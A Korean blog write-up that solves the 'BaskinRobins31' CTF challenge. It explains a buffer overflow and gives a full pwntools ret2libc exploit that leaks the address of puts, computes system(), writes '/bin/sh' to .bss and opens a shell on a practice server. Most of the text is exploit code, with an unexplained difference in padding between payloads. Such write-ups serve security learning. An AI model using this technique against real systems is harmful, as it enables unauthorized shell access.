your_turn 함수에서 버퍼 오버플로우가 발생합니다.
your_turn 함수까지 입력받고, your_turn 함수에 puts를 이용하여 puts의 실제 주소를 출력하는 페이로드를 작성하여 전송해주고, your_turn 함수를 다시 실행하도록 하겠습니다.
r.recvuntil("(1-3)\n")
rdi_rsi_rdx = 0x000000000040087a
rdi = 0x0000000000400bc3
payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['your_turn'])
r.sendline(payload)
Don't break the rules...:(\n 까지 입력받고, \n 전까지 입력받은 값을 u64로 언패킹 해줍니다.
r.recvuntil(":(")
r.recvuntil("\x0a")
puts_hex = r.recvuntil('\x0a')[:-1]
_puts = u64(puts_hex.ljust(8, '\x00'))
print("puts: ", puts_hex, _puts)
그리고 puts 주소에서 라이브러리의 puts offset 을 빼서 base를 구한 뒤, system 함수의 주소를 구하고,
bss 영역에 /bin/sh를 써서
system("/bin/sh")를 실행시켜 주겠습니다.
_base = _puts - libc.sym['puts']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10
payload = ""
payload += "A" * (0x40) + "B" * 8
payload += p64(rdi_rsi_rdx)
payload += p64(0)
payload += p64(_binsh)
payload += p64(0x10)
payload += p64(e.plt['read'])
payload += p64(e.sym['your_turn'])
r.sendline(payload)
r.sendline('/bin/sh\x00')
payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(_binsh)
payload += p64(_system)
r.sendline(payload)
전체 코드
from pwn import *
context.log_level = 'debug'
e = ELF('./BaskinRobins31')
r = remote("sunrin.site", 9008)
libc = ELF('./libc.so.6')
r.recvuntil("(1-3)\n")
rdi_rsi_rdx = 0x000000000040087a
rdi = 0x0000000000400bc3
payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['your_turn'])
r.sendline(payload)
r.recvuntil(":(")
r.recvuntil("\x0a")
puts_hex = r.recvuntil('\x0a')[:-1]
_puts = u64(puts_hex.ljust(8, '\x00'))
print("puts: ", puts_hex, _puts)
_base = _puts - libc.sym['puts']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10
payload = ""
payload += "A" * (0x40) + "B" * 8
payload += p64(rdi_rsi_rdx)
payload += p64(0)
payload += p64(_binsh)
payload += p64(0x10)
payload += p64(e.plt['read'])
payload += p64(e.sym['your_turn'])
r.sendline(payload)
r.sendline('/bin/sh\x00')
payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(_binsh)
payload += p64(_system)
r.sendline(payload)
r.interactive()
728x90
'해킹 > writeup' 카테고리의 다른 글
22. format string bug - prob2 (0) | 2021.08.03 |
---|---|
21. format string bug - prob1 (0) | 2021.08.01 |
19. sung.pw - rop64_v2 (0) | 2021.08.01 |
18. sung.pw - ropasaurusrex (0) | 2021.08.01 |
17. sung.pw - rop32_v2 (0) | 2021.08.01 |